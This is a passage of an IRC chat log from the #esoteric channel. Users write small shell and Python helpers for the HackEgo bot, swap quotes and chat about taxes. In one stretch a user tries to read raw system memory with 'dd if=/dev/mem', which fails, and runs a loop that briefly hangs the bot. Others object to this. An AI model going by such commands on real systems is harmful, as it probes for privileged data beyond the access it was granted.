line-at-a-time. 02:13:35 i wasn't actually getting that point until now, but yeah, it might not. 02:13:37 I was thinking there'd be a separate command that turns a newlined string into a string with 350-byte lines containing newline replacements. 02:14:00 -!- jaboja has quit (Remote host closed the connection). 02:14:33 Well, I guess I'll leave it in your capable hands. 02:14:43 you could just use " \ ", that's what HackEgo does anyway 02:14:54 i have no intention to code this. 02:15:01 OK, but And both of the commands I use replace newlines with a character, rather than a string. 02:15:09 come on, it's just a bit of bash 02:15:12 no real code 02:15:52 it's not like exploiting type system bugs 02:16:27 whatev 02:16:35 `? whatev 02:16:37 whatev? ¯\(°​_o)/¯ 02:17:54 -!- Phantom__Hoover has quit (Read error: Connection reset by peer). 02:20:29 Um... Christianity? Are you sure you can really math? <-- what's the problem with that? 02:20:46 oh boy 02:21:09 referring to "The last limit arises from the fact that the crucifixion was considered to have happened on the fourteenth (the eve of the Passover) and the resurrection therefore on the sixteenth." 02:23:07 (i'm just wondering where hppavilion[1] thinks the math error is) 02:23:39 -!- adu has quit (Quit: adu). 02:23:42 oerjan: Is 350 the total length actually printable by HackEgo? 02:24:19 shachaf: if it's ascii. someone said it's actually different if there are other unicode characters. 02:24:25 (but not smaller) 02:24:38 (in bytes) 02:25:03 Right, I mean byets. 02:25:06 bytes 02:25:07 octets 02:25:43 that is, it's 350 chars but if that's larger than 350 bytes it might get cut off at the actual irc limit. 02:26:02 OK, I'll construct this in /msg, I guess. 02:26:09 or well, probably codepoints. 02:26:46 Hmm, or maybe... 02:27:28 `` echo $'#!/usr/bin/env python\nimport sys\nN=330\nname = sys.argv[1] if len(sys.argv) > 1 else "/dev/stdin"\nwith open(name, "r") as f:\n data = f.read().replace("\\n", " \\\\ ")\nfor i in range(0, len(data), N):\n print data[i:i+N]\n' > bin/distort; chmod +x bin/distort 02:27:41 No output. 02:27:54 `` distort quotes | spore 02:27:57 1/475: EgoBot just opened a chat session with me to say "bork bork bork" \ Hmmmmmmmm... My fingers and tongue seem to be as quick as ever, but my lips have definitely weakened... More practice is in order. \ that's where I got it rocket launch facility gift shop \ GKenne 02:28:03 `spam 02:28:04 2/475:thR: he should be told that you should always ask someone before killing them. \ His body should be given to science. He's alive :P Even so. \ what, you mean that wasn't your real name? Gosh, I guess it is. I never realized that. \ TODO: sex life \ 02:29:03 `mkx bin/sport//distort "${1:-/dev/stdin}" | spore 02:29:07 bin/sport 02:29:28 `` shuf quotes | sport 02:29:32 1/475: There's that saying that the definition of insanity is doing the same thing over and over again and expecting different results. [...] You've just gave me a different result [...] It's always insane to expect different results, even when it's likely to occur. \ Thanks to nooga for constructive criticism 02:29:35 `spam 02:29:36 2/475:, his ideas and being a constant annoyance. --http://theendisnear.no-ip.info/ \ who is guido van rossum you could say he's a man who grew a beard but acquired none of the associated good properties \ Just goes to show, the Beatles are more interesting than green vegetables. \ both of you, 02:29:41 -!- adu has joined. 02:29:58 `sport bin/distort 02:29:59 1/1:#!/usr/bin/env python \ import sys \ N=330 \ name = sys.argv[1] if len(sys.argv) > 1 else "/dev/stdin" \ with open(name, "r") as f: \ data = f.read().replace("\n", " \\ ") \ for i in range(0, len(data), N): \ print data[i:i+N] \ \ 02:30:25 Oops, double newline. 02:30:34 `` echo -n $'#!/usr/bin/env python\nimport sys\nN=330\nname = sys.argv[1] if len(sys.argv) > 1 else "/dev/stdin"\nwith open(name, "r") as f:\n data = f.read().replace("\\n", " \\\\ ")\nfor i in range(0, len(data), N):\n print data[i:i+N]\n' > bin/distort; chmod +x bin/distort 02:30:37 No output. 02:30:38 `sport bin/distort 02:30:40 1/1:#!/usr/bin/env python \ import sys \ N=330 \ name = sys.argv[1] if len(sys.argv) > 1 else "/dev/stdin" \ with open(name, "r") as f: \ data = f.read().replace("\n", " \\ ") \ for i in range(0, len(data), N): \ print data[i:i+N] \ 02:30:49 why do you put 330 instead of 350 02:31:18 I wanted to allow for 12345/20000: 02:31:24 And then I subtracted a few more just in case. 02:31:26 OKAY 02:31:28 Feel free to jam it up. 02:31:42 In fact I'd appreciate it if you did jam it up to the right value. 02:32:00 `sled bin/distort//s range xrange 02:32:04 bin/distort//#!/usr/bin/env python \ import sys \ N=330 \ name = sys.argv[1] if len(sys.argv) > 1 else "/dev/stdin" \ with open(name, "r") as f: \ data = f.read().replace("\n", " \\ ") \ for i in xrange(0, len(data), N): \ print data[i:i+N] 02:32:38 incidentally that numbering scheme does not work very well with quotes which have their own numbers... 02:32:54 `` allquotes | sport 02:32:57 1/495:1) EgoBot just opened a chat session with me to say "bork bork bork" \ 2) Hmmmmmmmm... My fingers and tongue seem to be as quick as ever, but my lips have definitely weakened... More practice is in order. \ 3) that's where I got it rocket launch facility gift shop \ 4) `` allquotes | shuf | sport 02:33:04 1/495:154) How much do mainframes cost these days? I mean, they're obsoleteish, right? My notebook's much more powerful? So surely, they're cheap? \ 346) I'm not even going to try and understand what you're proposing. i understand it perfectly. it's completely nuts. \ 1229) i guess norway just isn 02:33:06 `spam 02:33:08 2/495:'t cold \ 1235) `addquote boily: thanks for getting quoted saying django btw, now I'm only in 87.5% of the django quotes [...] ah, the inevitable result of mentioning django \ 1030) beautiful summer / massacres in qusayr / sent from my iphone \ 1036) this new apartment stuff has int 02:33:12 `spam 02:33:13 3/495:eresting side effects: i'm now getting physical spam. \ 325) Learn to be Chinese and kill yourself \ 483) I keep asking random people for "friendship " and it's crippling \ 811) omg that JIT is really amazing [...] I hear if you listen carefully to the rustling wind on a 02:33:17 also, if anyone manages to use more than 2 digits before the slash, they'll probably be kickbanned hth 02:33:37 Well, you can fast-forward with echo n > tmp/spline 02:34:23 `mkx bin/speek//echo "$1" > /tmp/hackenv/spline 02:34:26 bin/speek 02:34:31 `mkx bin/speek//echo "$1" > /tmp/hackenv/spline; spam 02:34:34 bin/speek 02:34:35 `speek 495 02:34:36 ​/hackenv/bin/speek: line 1: /tmp/hackenv/spline: No such file or directory \ 4/495:warm night with a full moon, you can hear the sound of the JIT building ARM functions. \ 78) theory: some amused deity is making the laws of physics up as they go along \ 1064) ah yes, like the parable of jesus feeding the masses with expired jell-o 02:34:39 shachaf: you're splitting in the middle of lines? that could give problems with unicode. 02:34:43 `spam 02:34:44 5/495:elliott> they're very unlikely to fuck up Xfce, and it can be made to work basically exactly like gnome two \ 1014) sometimes i wake up and my name has grown more consonants \ 286) I just thought you might have meant the Ramanujan tau and I was WOAH he weilds heavy weapons \ 42) ??? 02:34:51 Oops. 02:34:57 `mkx bin/speek//echo "$1" > /hackenv/tmp/spline; spam 02:35:00 bin/speek 02:35:01 `speek 495 02:35:03 495/495:'t exactly NIH. They have their own variant of it. \ 63) My mascot is a tree of broccoli. \ 02:35:06 `spam 02:35:07 496/495: 02:35:13 oerjan: feel free to fix it to not do that twh 02:35:56 oerjan: No sarcasm or anything there. It would help. 02:36:05 I mean, not that "twh" is ever sarcastic or anything. 02:36:50 If you wanted to be nice you could split it on a natural word or newline boundary if it happened to be near the end. 02:37:07 Say, within 20 bytes. 02:42:07 Or even more than that, really. 02:42:43 Say, just write out as many lines as can fit without breaking. 02:45:25 That would be a better system, really. 02:45:32 Except if there are really long lines. 02:46:11 `speek 131 02:46:14 131/495:) most things i hear about 'startup culture' set off the poe's law detector \ 1233) boily: the proc is invoked. before or after the evaluator transfers control to a certain class of anime characters with long hair and loud music \ 907) Actually, just as a guess, J might be worse than APL because it's restri 02:46:48 `spam 02:46:50 132/495:cted to normal (ascii?) characters, I guess \ 1174) * Sgeo remembers when he believed VRML could never have gravity. Now VRML is dead. (And has gravity) \ 827) The world needs better healthcare, social justice and wealth distribution, but a monads library for clojure surely won't hurt \ 956) it's raining 02:47:24 `` rgrep '' wisdom | sport 02:47:38 1/344:wisdom/6 random numbers:4 8 15 16 23 42 \ wisdom/¯\(°_o)/¯:¯\(°_o)/¯ `? ¯\(°_o)/¯ \ wisdom/quote:Quotes are just elements of the quantum dilapidated bogosphere. See qdb. \ wisdom/heck:Heck is where you end up if you don't believe in Gosh. \ wisdom/nooga:no. \ wisdom/soup:What soup, Doc? \ wisdom/kitt:Kitt is the singula 02:47:42 `` cd wisdom; rgrep '' * | sport 02:47:47 1/325:`:` is the prefix to greatness. \ `?:`? ¯\(°​_o)/¯ \ `? `?:Yes, you're very clever \ ^:^ (also notated by ⊕ or ⊻) is the exclusive-or operator; ∧ (also notated by /\ or &) is the and (conjunction) operator; ^ (also notated by ↑ or ** or ⋆) is the power operator. \ ==:Did you know you can define == recursively!? \ 02:47:51 -!- jaboja has joined. 02:47:54 `speek 170 02:47:56 170/325: tough! \ mathematimu:A mathematimu is a quantum of mathematics. If you observe it, its codepoint can change. \ maths:Maths stands for Mathematical Anti-Telharsic Harfatum Septomin. \ mauke:mauke is a Master Archer. Caution! He can shoot your PRIVMSG with creative arrows! \ maybe:Maybe a is Just a or Nothing \ md5:MD5 is a hash 03:42:25 -!- jaboja has quit (Remote host closed the connection). 04:04:03 -!- olsner has quit (Ping timeout: 240 seconds). 04:21:54 `` allquotes | shuf | sport 04:22:05 1/495:143) elliott: i like scsh's mechanism best: it's most transparent and doesn't really serve a very useful feature. \ 577) That was me being *nice*. I could have made the request by word of mouth to my My Little Pony toys and it would count. \ 45) yay fire! * Madelon combusts spontaneously. \ 1099) < 04:51:59 <\oren\> aaaaaa what is this? 04:52:06 -!- adu has quit (Quit: adu). 04:55:29 -!- moon_ has joined. 04:55:34 Hi 04:56:04 \oren\: what seems to be the problem? 04:57:12 <\oren\> I scrolled up 05:01:21 shocking 05:05:00 Lol should i be happy i wasnt here? 05:05:31 `spam 05:05:38 Oh 05:05:39 2/495:metasepia> `addquote \item `addquote two quotes about quotes about django I guess the worst part is that I appear in all three hackego quotes about django \\ elliott\_: another quote? you're not helping \texttt{:/} ← and three giraffes. \ 984) hm hitler probably did one thing that I 05:06:06 `spam 05:06:09 3/495: like too he banned tubas, I guess I am neutral on tubas oh! he killed hitler oh yeah, there we go thanks Fiora he also killed the guy who killed hitler \ 154) How much do mainframes cost these days? I mean, they're obsoleteish, right? My notebook's much more powerful? So surely, the 05:06:20 `cat spam 05:06:22 cat: spam: No such file or directory 05:06:29 `cat bin/spam 05:06:31 line="$(cat /hackenv/tmp/spline)"; len="$(wc -l /hackenv/tmp/spout | awk '{print $1}')"; echo -n "$line/$len:"; sed -n "${line}p" /hackenv/tmp/spout; echo "$((line+1))" > /hackenv/tmp/spline 05:06:45 oerjan: vaguely tempted to make a version of sport that's automatically part of `` 05:07:26 -!- adu has joined. 05:07:43 shachaf: then you can implement more 05:07:59 more? 05:08:06 `more 05:08:07 Usage: more [options] file... \ \ Options: \ -d display help instead of ring bell \ -f count logical, rather than screen lines \ -l suppress pause after form feed \ -p suppress scroll, clean screen and disblay text \ -c suppress scroll, display text and clean line ends \ -u suppress underlining 05:08:15 well, more like 05:08:16 Yes, that's what spore is named after. 05:08:16 @more 05:08:17 spam more 05:08:33 Oh. Yes. That was the idea. 05:08:37 -!- adu has quit (Client Quit). 05:11:41 A good replacement for more is 'sed '${line}p' ' 05:12:39 moon_: well that's why bin/spam uses it? 05:25:27 -!- MDude has joined. 05:29:57 I wrote (not yet complete, but almost finished) a program "har" which is like "tar" but it deal with Hamster archive instead of tape archive. Three commands are same as tar, which as 'c', 't', and 'x' (there are other commands available too). To append, use 'c' with >> shell operator. To concatenate, use cat. 05:30:22 What's the difference between a hamster and a tape? 05:47:32 rotation symmetry? 05:50:39 `spam 05:50:59 4/495:y're cheap? \ 54) * oerjan swats FireFly since he's easier to hit -----### Meh * FireFly dies \ 1115) hmm… I guess the difference between me and most esolangers is that I don't instantly go and put it into a BF derivative and call it a day \ 1003) I've seen horses jump on tv, they can probably jum 05:52:39 FireFly: wait a minute 05:52:44 you don't seem dead 05:52:54 `spam 05:53:15 5/495:p in scotland too \ 170) Oh. Stuff that uses actual physical numbers stemming from science. Bleh *gets bored* \ 734) gah this language is of the devil oklopol: you're meant to use your powers for _good_ \ 190) GCC: -Os -O2 -O3 gives a 4x improvment \ 236) Why do you wan 06:02:01 shachaf: Maybe it depend what kind of tape, such as audio tape or video tape. 06:02:20 I thought tar archived onto a Turing machine tape. 06:03:00 You have to write your Turing machine code securely. 06:03:06 Otherwise you might get a tapeworm. 06:05:55 -!- adu has joined. 06:09:53 How my "har" program is available at http://zzo38computer.org/prog/har.c it is 2929 bytes long. 06:11:33 I think it is much simpler than tar. 06:13:47 You're serving it with a content-type my browser doesn't recognize, so it not convenient to look at it. 06:14:15 tar is by definition a legacy format 06:14:22 Add view-source: to the front to view in the browser, or use the command: curl 'http://zzo38computer.org/prog/har.c' | less 06:47:47 -!- adu has quit (Quit: adu). 06:53:21 d 06:53:28 ok its alive 06:54:17 -!- adu has joined. 07:01:44 ...huh 07:02:01 The guy who does Crash Course seems to be the guy who wrote The Fault in Our Stars 07:02:02 Weird 07:06:25 -!- moon__ has joined. 07:06:25 -!- moon_ has quit (Read error: Connection reset by peer). 07:14:37 D 07:14:43 ok im alivw 07:14:45 goodie 07:15:32 "he was almost alive, but unfortunately slightly off key" 07:15:37 -!- coppro has joined. 07:17:51 oerjan: "We did what we thought was the best and most merciful thing to do." 07:18:28 `getconf LONG_BIT 07:18:39 `kill moon__ 07:18:43 SHOULD WORK IF I T- caps 07:19:01 64 07:19:01 kill: failed to parse argument: 'moon__' 07:19:05 I wana know the bitwidth >_< 07:19:08 yay 07:19:41 I am not a process, i am a lifeform 07:19:46 Bearing may be the best youtube channel I have ever encountered 07:19:50 Not just for the politics 07:19:53 Unless we are in the matrix... 07:20:01 But because the sprites he uses are awesome 07:20:03 *bad joke* 07:20:39 moon__: Technically, a life form is still a process (or, well, a process hierarchy), and someone in the matrix is still a lifeform 07:20:47 moon__: Have you even /seen/ The Matrix? 07:21:01 Nope! Xp 07:21:19 moon__: Then you are not qualified to joke about it. 07:21:27 moon__: May I see your license and registration? 07:22:02 `echo "!!" 07:22:05 ​"!!" 07:22:09 Damnit 07:22:15 `echo !! 07:22:15 ​!! 07:22:20 -!- MDude has changed nick to MDream. 07:22:23 It shouldve returned the ;ast cpmmand 07:22:28 `` echo !! 07:22:30 ​!! 07:22:37 >_< 07:22:47 moon__: How would it do that? 07:22:57 And I thought I was being spammy. 07:22:58 `echo `!!` 07:22:59 ​`!!` 07:23:04 `` echo `!!` 07:23:06 ​/hackenv/bin/`: line 4: !!: command not found 07:23:09 Im confuzzled 07:23:11 Nope 07:23:17 Can you leave it alone? What you're trying to do won't work. 07:23:24 echo "!!" > foo.sh shpuld give the last command in a script.. 07:23:24 You can find that out in /msg. 07:24:18 ...OK 07:24:22 What is a "Dank Meme"? 07:24:56 @wn dank 07:24:58 *** "dank" wn "WordNet (r) 3.0 (2006)" 07:24:58 dank 07:24:59 adj 1: unpleasantly cool and humid; "a clammy handshake"; 07:25:01 "clammy weather"; "a dank cellar"; "dank rain forests" 07:25:03 [syn: {clammy}, {dank}] 07:25:04 hth 07:25:41 `` sudo dd if=/dev/mem | cat | strings 07:25:44 ​/hackenv/bin/`: line 4: sudo: command not found 07:25:51 Damn )= 07:26:10 Dont hurt me 07:26:36 `` dd if=/dev/mem | cat | strings 07:26:38 dd: opening `/dev/mem': Permission denied 07:26:44 Daww 07:26:47 shachaf: ...yeah. I figured that this dank has nothing to do with that dank. 07:27:06 Its used in the terms of 'old' now dont kill me 07:27:28 shachaf: Given that patterns of human behavior and copyable activities tend to not be describable in terms of temperature and humidity 07:27:29 You can do your non-modifying experiments in /msg and then, when they work, you can demonstrate them to people in the channel. 07:28:07 "dank" is marijuana slang for "good" 07:28:22 But you can find that out using the Google. 07:28:47 Ah 07:29:09 shachaf: See, but I don't particularly want to be associated with marijuana slang by what is pretty much the biggest company on the internet 07:29:32 Hm... 07:29:45 If They Are the 99%, then what are we? 07:29:47 Hm... 07:30:03 #esoteric has 100 people at a time 07:30:11 There are 7.3 billion people on earth... 07:30:11 ik 07:30:12 Hm... 07:30:21 Oh gof 07:30:24 Tiny number alert 07:30:44 Sound the alarms! 07:31:21 Who is the 99%? 07:31:24 So... 07:31:41 We are the 1.3698630136986302e-10%‽ 07:31:58 shachaf: The people not in the 1% duh 07:32:02 s/duh/hth/ 07:32:15 The 1% being the richfolks 07:32:28 Hm... 07:32:32 Now that I look at it 07:32:45 How come hackego has no lsof 07:32:49 If the channel has 100 occupants (which it, at this exact moment, does) 07:33:04 That means that- statistically- 1 person on this channel is hyperrich 07:33:17 Not me 07:33:38 moon__: Well duh; it can't be you because there's only room for one hyperrich person and that person is fungot. 07:33:38 hppavilion[1]: when this load is done i think i'll run freebsd on an ultra, it refused to install the program correctly the first time 07:33:39 hth. 07:33:47 It's copumpkin for sure. 07:34:11 (I always read fungot expecting fim to make sense and trying to figure out what fe means, but fe never does...) 07:34:11 hppavilion[1]: the speed new and faster hardware is developed is just too ugly 07:34:36 Well, that almost made sense, AND is accurate 07:37:21 -!- adu has quit (Quit: adu). 07:37:46 Guys i think i found a zombie maker: ( command & ) (i cant trust all soruces tho) 07:49:52 I killed the chat 07:50:00 BRAINS 07:50:13 `? oerjan 07:50:18 Your mysterious adjectival cackling overlord emeritus oerjan is a lazy expert in future computation. Also a Precambrian Norwegian who mildly dislikes Roald Dahl with a passion. Lately when he tries to remember a word, "amortized" pops up instead. His arch-nemesis is Betty Crocker. 07:50:35 What does "lazy expert in future computation" mean? 07:50:54 `` sed -i 's/emeritus/zombie/' wisdom/oerjan 07:51:07 Ah, good, not retired. 07:51:12 I was going to do something like that. 07:51:24 * oerjan whistles innocently 07:51:52 shachaf: it means i might eventually get around to it if needed hth 07:51:55 curses 07:52:03 foiled again 07:53:23 https://www.youtube.com/watch?v=w-0TEJMJOhk 07:58:49 I regret executing 07:58:53 yes "$(seq 232 255;seq 254 -1 233)" | while read i; do printf "\x1b[48;5;${i}m\n"; sleep .01; done 07:59:08 It froze haxego 07:59:19 Nvm 07:59:21 hea alive 07:59:30 fizzie on? 07:59:51 Because on his/her end, it must be really colorful 08:01:09 `` yes "$(seq 232 255;seq 254 -1 233)" | while read i; do printf "\x1b[48;5;${i}m\n"; sleep .01; done 08:03:12 Hackego 08:03:15 pls respond 08:05:02 ;-; dont murder me shachaf 08:05:15 What if you stopped abusing the bot, though? 08:05:26 I will >-> 08:05:45 -!- xkapastel has quit (Quit: Connection closed for inactivity). 08:09:12 -!- lambda-11235 has quit (Quit: Bye). 08:10:51 `ls 08:10:53 ​!\.´ \ advice \ bin \ canary \ cdescs \ emoticons \ esobible \ etc \ evil \ factor \ good \ hw \ ibin \ interps \ karma \ le \ lib \ logs \ misle \ paste \ ply-3.8 \ ps \ quine \ quines \ quotes \ share \ src \ sysconfval \ theorems \ tmflry \ tmp \ tmp334234 \ wisdom \ wisdom.pdf 08:11:00 ... 08:11:10 * moon__ slaps hackego's cpu 08:12:29 `culprits tmp334234 08:12:50 moon__: why would you expect fizzie to see the output of that 08:12:51 moon__ 08:13:00 `culprits sysconfval 08:13:06 moon__ moon__ 08:13:08 `rm tmp334234 sysconfval 08:13:09 rm: cannot remove `tmp334234 sysconfval': No such file or directory 08:13:14 `` rm tmp334234 sysconfval 08:13:17 No output. 08:13:30 Fizzie has admin access to hackego 08:13:44 What if you just stopped doing all those things? 08:14:13 * oerjan brings up an extra lawn chair for shachaf 08:15:08 Hmm, http://codu.org/projects/hackbot/fshg/index.cgi/rev/6576966b7d24 doesn't show the final space. 08:15:37 This suggests that if you wrote a Whitespace program in HackEgo, it wouldn't show up in the commit log. 08:15:48 But you could always look itup in the other log, I guess. 08:18:49 `undo 8180 08:18:58 patching file wisdom/#esoteric \ Hunk #1 FAILED at 1. \ 1 out of 1 hunk FAILED -- saving rejects to file wisdom/#esoteric.rej 08:19:22 `` rm $(lastfiles) 08:19:33 No output. 08:20:09 Oh well. 08:21:33 oerjan: Anyway you seem like the opposite of a grouch to me. 08:22:16 i do? 08:22:42 i could have fooled me. 08:23:01 For example you're pretty welcoming in this channel. 08:23:06 `? #esoteric 08:23:07 Whereas I seem to be just the opposite. 08:23:09 ​#esoteric is the only channel that exists. After monqy left it became slightly off-centër. It's about 30 m (100 ft) across. oerjan seems to be making a lawn in the northern part, but it keeps getting dug up by free ranging moons. May contain crude drawings of nuts. 08:23:53 `` hg log 8180 08:23:57 No output. 08:24:01 hmph 08:24:44 `sled wisdom/#esoteric//s/exists/doesn't exist/ 08:24:48 wisdom/#esoteric//#esoteric is the only channel that doesn't exist. After monqy left it became slightly off-centër. It's about 30 m (100 ft) across. oerjan seems to be making a lawn in the northern part, but it keeps getting dug up by free ranging moons. May contain crude drawings of nuts. 08:25:00 Not sure that it's appropriate. 08:25:43 `? oerjan 08:25:46 Your mysterious adjectival cackling overlord emeritus oerjan is a lazy expert in future computation. Also a Precambrian Norwegian who mildly dislikes Roald Dahl with a passion. Lately when he tries to remember a word, "amortized" pops up instead. His arch-nemesis is Betty Crocker. 08:25:57 Does "Lately" mean only in the evening and early morning? 08:26:39 well when else am i awake 08:26:52 At night. 08:26:58 But I guess that's also covered. 08:26:58 ic 08:27:41 i do not yet recall it popping up in my dreams. 08:29:49 Maybe I should just move to Norway. 08:29:54 I hear the pizza is good. 08:31:56 Seems that the tax rate isn't much higher than California? Sometimes people talk about how much higher it is or something. 08:32:34 Well, maybe somewhat higher. 08:33:21 Oh, but there's a wealth tax. 08:33:30 Not a good place for 1%ers like hppavilion[1]. 08:40:33 it's a disputed tax. the current government has got it reduced a bit. 08:40:44 and ideally want to abolish it. 08:43:44 tax? 08:44:18 tax. 08:45:04 0.85% of net wealth if i'm reading correctly. 08:45:39 *wealth above 1 200 000 kr 08:47:27 ahh 08:47:34 the leftish parties like it because it's about the only direct tax that actually gets anything from rich people. 08:47:52 but we currently have a right wing government. 08:48:33 no income tax? or just full of loopholes 08:48:41 full of loopholes 08:49:34 -!- olsner has joined. 08:50:07 I used a tax loophole myself this year. It was great. 08:50:59 I need to hire a loopholer^Waccountant 08:51:35 What sorts of loopholes do you use? 08:51:42 I didn't use an accountant, though maybe I should've. 08:54:59 that's what I want to figure out 08:55:20 before the tax deductions I get for having spent money on university run out 08:58:24 -!- incomprehensibly has quit (Remote host closed the connection). 08:58:45 But you're in Canada, right? 09:03:51 Hmm, RRSP/TFSA looks way better than IRA/401k. 09:03:56 You don't even need loopholes. 09:06:05 `url mk 09:06:09 http://codu.org/projects/hackbot/fshg/index.cgi/file/tip/mk 09:06:32 `url bin/mk 09:06:37 http://codu.org/projects/hackbot/fshg/index.cgi/file/tip/bin/mk 09:10:55 -!- oerjan has quit (Quit: Nite). 09:12:40 -!- hppavilion[1] has quit (Ping timeout: 252 seconds). 09:24:54 Airterm for android is really handy 09:28:35 Do you have a picture which has NTSC data for a colour picture but it is grayscale instead because it is the raw data? 09:31:06 Who, me? 09:32:04 `url bin/echo-p 09:32:07 http://codu.org/projects/hackbot/fshg/index.cgi/file/tip/bin/echo-p 09:36:08 what's that useful for 09:37:46 -!- yorick_ has joined. 09:37:46 -!- yorick_ has quit (Changing host). 09:37:46 -!- yorick_ has joined. 09:38:04 -!- zgrep_ has joined. 09:38:29 -!- Melvar` has joined. 09:39:06 -!- Nithogg_ has quit (Ping timeout: 264 seconds). 09:39:08 -!- Melvar has quit (Ping timeout: 264 seconds). 09:39:08 -!- yorick has quit (Ping timeout: 264 seconds). 09:39:08 -!- zgrep has quit (Ping timeout: 264 seconds). 09:39:08 -!- int-e has quit (Ping timeout: 264 seconds). 09:40:00 -!- Nithogg_ has joined. 09:40:38 -!- zgrep_ has changed nick to zgrep. 09:43:05 -!- int-e has joined. 09:49:20 [wiki] [[User:Nosomebodies]] https://esolangs.org/w/index.php?diff=47111&oldid=47075 * Nosomebodies * (+123) 09:52:43 -!- incomprehensibly has joined. 10:06:41 -!- hppavilion[1] has joined. 10:12:50 -!- Phantom_Hoover has joined. 10:20:52 -!- hppavilion[1] has quit (Ping timeout: 252 seconds). 10:35:30 izabera: The intended use is for ... > $(echo-p "$foo") to be able to redirect to "$foo" even if it contains slashes, by making any necessary directories transparently. 10:38:27 `wisdom 10:38:29 `random-card 10:38:36 `? zygohistomorphic prepromorphisms 10:38:52 Dwarven Hold \ Land \ Dwarven Hold enters the battlefield tapped. \ You may choose not to untap Dwarven Hold during your untap step. \ At the beginning of your upkeep, if Dwarven Hold is tapped, put a storage counter on it. \ {T}, Remove any number of storage counters from Dwarven Hold: Add {R} to your mana pool for each storage counter removed thi 10:38:53 A zygohistomorphic prepromorphism is used when you really need both semi-mutual recursion and history and to repeatedly apply a natural transformation as you get deeper into the functor. 10:38:54 me//Me is a proud member of the tEaM. 10:40:01 that's a strange card (it's from Fallen Empires). 10:58:53 -!- Effilry has joined. 10:59:52 -!- FireFly has quit (Ping timeout: 244 seconds). 11:02:07 -!- incomprehensibly has quit (Remote host closed the connection). 11:03:14 -!- Elronnd\StD has quit (Read error: Connection reset by peer). 11:04:39 -!- Elronnd has joined. 11:05:17 -!- hkgit03 has joined. 11:05:49 -!- cnr has quit (Ping timeout: 260 seconds). 11:06:03 -!- APic has quit (Ping timeout: 240 seconds). 11:06:24 -!- Hoolootwo has quit (Ping timeout: 260 seconds). 11:07:34 -!- Hoolootwo has joined. 11:11:54 -!- cnr has joined. 11:13:05 -!- incomprehensibly has joined. 11:15:37 -!- APic has joined. 11:16:13 -!- rntz has quit (*.net *.split). 11:16:13 -!- Deewiant has quit (*.net *.split). 11:25:04 -!- Hoolootwo has quit (Ping timeout: 260 seconds). 11:26:33 -!- Hoolootwo has joined. 11:33:38 -!- boily has joined. 11:33:57 -!- Melvar` has changed nick to Melvar. 11:37:50 -!- Koen_ has joined. 11:41:42 -!- Reece` has joined. 11:46:11 -!- Deewiant has joined. 11:49:44 -!- rntz has joined. 11:56:31 -!- gamemanj has joined. 12:17:32 -!- boily has quit (Quit: RING CHICKEN). 13:02:59 Does boily has a "random quit message" script or something? 13:03:03 With an affection for chicken? 13:28:22 -!- Reece` has quit (Ping timeout: 260 seconds). 13:31:20 -!- Reece` has joined. 13:36:17 -!- gamemanj has quit (Quit: Leaving). 13:42:21 -!- Sgeo has quit (Ping timeout: 240 seconds). 13:48:06 -!- Effilry has changed nick to FireFly. 13:54:59 -!- Vorpal has quit (Ping timeout: 260 seconds). 14:21:28 -!- hkgit03 has quit (Quit: http://www.kiwiirc.com/ - A hand crafted IRC client). 14:27:15 -!- spiette has joined. 14:33:09 [wiki] [[Talk:Efghij]] https://esolangs.org/w/index.php?diff=47113&oldid=47012 * Timwi * (+136) 14:36:23 [wiki] [[Nondeterministic Super Mario Bros.]] N https://esolangs.org/w/index.php?oldid=47114 * B jonas * (+3658) Created page with "'''Nondeterministic Super Mario Bros.''' is the decision problem that takes a custom world map and levels of the NES ''Super Mario Bros.'' game as its input, and decides wheth..." 14:45:49 -!- Koen_ has quit (Remote host closed the connection). 14:53:07 -!- `^_^v has joined. 14:55:00 -!- xkapastel has joined. 15:01:39 -!- moon_ has joined. 15:01:53 hi 15:10:49 @tell gamemanj Sometimes the chicken is appropriate to surrounding context. I've been assuming it's all manual. 15:10:49 Consider it noted. 15:15:53 -!- Koen_ has joined. 15:15:54 @tell gamemanj You may be interested in the following chicken statistics gathered from my logs: http://sprunge.us/FIcQ 15:15:55 Consider it noted. 15:16:21 @tell gamemanj As you can see, the vast majority of chickens are as unique as a SNOWFLAKE CHICKEN. 15:16:22 Consider it noted. 15:26:20 -!- moon_ has quit (Ping timeout: 250 seconds). 15:34:19 what's the opposite of falling in love in english? 15:34:36 climbing out of love? 15:34:43 falling out of love 15:34:43 unfalling in love? 15:34:53 aww the most boring way 15:35:22 you have no control...gravity always decides 15:39:03 does this mean one ends up in a state even lower than love? 15:51:05 Second law of something-dynamics. 15:57:22 http://www.egillantonsson.com/ related 15:58:36 crappy pic tho 15:58:57 -!- adu has joined. 16:00:38 [wiki] [[Special:Log/upload]] upload * Timwi * uploaded "[[File:NUSSPLI (Ackermann function).jpg]]": The NUSSPLI function in [[efghij]]. 16:01:27 [wiki] [[Special:Log/move]] move * Timwi * moved [[File:NUSSPLI (Ackermann function).jpg]] to [[File:Efghij — NUSSPLI function.jpg]] 16:03:03 [wiki] [[Efghij]] https://esolangs.org/w/index.php?diff=47118&oldid=47011 * Timwi * (+496) 16:21:06 -!- mtve has quit (Quit: Terminated with extreme prejudice - dircproxy 1.2.0). 16:25:44 [wiki] [[Efghij]] https://esolangs.org/w/index.php?diff=47119&oldid=47118 * Timwi * (+1760) Restructure 16:26:00 [wiki] [[Efghij]] https://esolangs.org/w/index.php?diff=47120&oldid=47119 * Timwi * (+15) 16:33:32 -!- Moon_ has joined. 16:36:10 [wiki] [[Efghij]] https://esolangs.org/w/index.php?diff=47121&oldid=47120 * Timwi * (+1623) /* Example: NUSSPLI (Ackermann function) */ Expand full explanation 16:41:00 -!- jaboja has joined. 16:43:37 wtf 16:49:35 -!- Koen__ has joined. 16:51:01 -!- Koen_ has quit (Ping timeout: 240 seconds). 16:52:52 boo 16:54:22 -!- s1nceri7y has joined. 16:54:44 wot 16:58:24 -!- lambda-11235 has joined. 17:03:24 -!- Moon_ has quit (Ping timeout: 250 seconds). 17:22:10 -!- jaboja has quit (Ping timeout: 260 seconds). 17:23:12 -!- s1nceri7y has quit (Quit: bye.). 17:26:15 -!- gamemanj has joined. 17:36:09 -!- gamemanj has quit (Ping timeout: 244 seconds). 17:37:58 -!- Kaynato has joined. 17:49:04 -!- gamemanj has joined. 18:00:09 -!- nycs has joined. 18:01:40 -!- `^_^v has quit (Ping timeout: 250 seconds). 18:08:11 -!- FreeFull has quit (Ping timeout: 244 seconds). 18:21:51 -!- Koen_ has joined. 18:24:43 -!- Koen__ has quit (Ping timeout: 244 seconds). 18:26:02 <\oren\> if you type a symbol over and over it doesnt look valid anymore 18:27:01 <\oren\> is => a valid C++ operator? im not sure anymore 